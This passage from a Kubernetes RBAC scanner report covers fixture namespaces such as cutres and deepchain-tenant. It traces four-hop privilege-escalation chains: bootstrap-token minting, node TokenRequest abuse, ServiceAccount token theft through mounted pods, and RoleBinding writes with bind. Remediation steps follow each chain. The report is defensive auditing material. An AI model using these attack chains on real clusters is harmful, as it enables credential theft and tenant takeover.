    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Namespace 6.5
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
4. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Namespace 6.5
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
4. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Namespace 6.5
ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `cutres` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: Namespace/cutres/cutres

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
4. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-secret-mint (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-secret-mint (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
